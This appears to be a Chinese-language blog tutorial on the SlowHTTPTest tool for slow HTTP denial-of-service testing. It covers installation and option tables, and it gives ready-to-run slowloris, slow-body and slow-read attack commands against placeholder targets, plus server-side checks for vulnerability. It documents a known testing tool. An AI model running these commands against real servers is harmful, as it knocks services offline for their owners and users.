參考文章
- 淺談“慢速HTTP攻擊Slow HTTP Attack”
- HTTP慢速攻擊
- Slowhttptest攻擊原理
- InstallationAndUsage
- tag: #slowhttptest
- Ref:
本片文章僅供學習使用,切勿觸犯法律!
一、簡要介紹
SlowHTTPTest是一款對伺服器進行慢攻擊的測試軟體,所謂的慢攻擊就是相對於cc或者DDoS的快而言的,並不是只有量大速度快才能把伺服器搞掛,使用慢攻擊有時候也能到達同一效果。slowhttptest包含了之前幾種慢攻擊的攻擊方式,包括slowloris, Slow HTTP POST, Slow Read attack等。那麼這些慢攻擊工具的原理就是想辦法讓伺服器等待,當伺服器在保持連線等待時,自然就消耗了資源。
二、下載安裝
Kali Linux:
apt-get install slowhttptest
其他Linux發行版:
tar -xzvf slowhttptest-x.x.tar.gz
cd slowhttptest-x.x
./configure --prefix=PREFIX
make
sudo make install
PREFIX替換為應該安裝slowhttptest工具的絕對路徑。
需要安裝libssl-dev才能成功編譯該工具。
MacOS安裝命令:
brew update && brew install slowhttptest
git安裝:
git clone https://github.com/shekyan/slowhttptest
三、執行使用
預設引數測試
./slowhttptest
其回應的相關引數:
test type | 測試型別 |
---|---|
number of connections | 連線數 |
URL | 網址 |
verb | 動詞 |
interval between follow up data | 隨機資料之間的間隔 |
connections per second | 每秒連線數 |
test duration | 測試時間 |
probe connection timeout | 探針連線超時 |
max length of followup data field | 後續資料欄位的最大長度 |
1、引數說明
選項 | 描述 |
---|---|
-a 開始 | 用於範圍標頭測試的range-specifier的起始值 |
-b 位元組 | 範圍標題測試的範圍說明符限制 |
-c 連線數 | 限於65539 |
-d 代理主機:埠 | 通過Web代理定向所有流量 |
-e 代理主機:埠 | 用於僅通過Web代理定向探測流量 |
-H,B,R或X | 指定在標頭部分或訊息正文中放慢速度,-R啟用範圍測試,-X啟用慢速讀取測試 |
-f 內容型別 | 內容型別標頭的值 |
-g | 生成CSV和HTML格式的統計資訊,格式為slow_xxx.csv / html,其中xxx是時間和日期 |
-i 秒 | 每個連線的後續資料之間的間隔(以秒為單位) |
-j cookie | Cookie標頭的值(例如:-j“ user_id = 1001;超時= 9000”) |
-k 流水線係數 | 如果伺服器支援HTTP管道,則在同一連線中重複請求以進行慢速讀取測試的次數。 |
-l 秒 | 測試持續時間(以秒為單位) |
-m 接受 | Accept標頭的值 |
-n 秒 | 從接收緩衝區讀取操作之間的間隔 |
-o 檔案 | 定製輸出檔案的路徑和/或名稱,如果指定了-g,則有效 |
-p 秒 | 等待探針連線上的HTTP響應超時,此後伺服器被視為不可訪問 |
每秒-r個連線 | 連線率 |
-s 位元組 | 如果指定了-B,則Content-Length標頭的值 |
-t 動詞 | 要使用的自定義動詞 |
-u URL | 目標URL,與您在瀏覽器中鍵入的格式相同,例如http s:// host [:port] / |
-v 級 | 日誌0-4的詳細級別 |
-w 位元組 | 範圍的開始,將從中選擇廣告視窗大小 |
-x 位元組 | 隨訪資料的最大長度 |
-y 位元組 | 範圍的末端,將從中選擇廣告視窗大小 |
-z 位元組 | 通過單個read()操作從接收緩衝區讀取的位元組 |
2、功能命令
slowloris模式:
slowhttptest -c 1000 -H -i 10 -r 200 -t GET -u https://yourtarget.com/index.html -x 24 -p 3
Slow Body攻擊:
慢訊息正文模式下的用法示例
slowhttptest -c 1000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://www.mywebsite.com -x 10 -p 3
Slow Read模式:
slowhttptest -c 1000 -X -r 1000 -w 10 -y 20 -n 5 -z 32 -u http://yourtarget.co
慢節奏模式下的用法示例:
./slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u https://myseceureserver/resources/index.html -x 24 -p 3
通過在xxxx:8080上的代理進行探測:
./slowhttptest -c 1000 -X -r 1000 -w 10 -y 20 -n 5 -z 32 -u http://someserver/somebigresource -p 5 -l 350 -e x.x.x.x:8080
3、錯誤資訊
錯誤資訊 | 這是什麼意思 |
---|---|
"Hit test time limit" | 程式達到了用-l引數指定的時間限制 |
"No open connections left" | 同行關閉了所有連線 |
"Cannot establish connection" | 在測試的前N秒內未建立任何連線,其中N是-i引數的值,或者是10(如果未指定)。如果沒有到主機的路由或遠端對等體斷開,則會發生這種情況 |
"Connection refused" | 遠端對等方不接受指定埠上的連線(僅來自您?使用代理進行探測) |
"Cancelled by user" | 您按了Ctrl-C或以其他方式傳送了SIGINT |
"Unexpected error" | 永遠不會發生 |
3、判斷依據
- 當伺服器可控,可以通過以下命令來確認是否存在該漏洞:
pgrep http | wc -l 程式數量
netstat -antp | grep 443 | wc -l 網路連線數量
- 在攻擊的時間段,服務無法正常訪問則存在漏洞。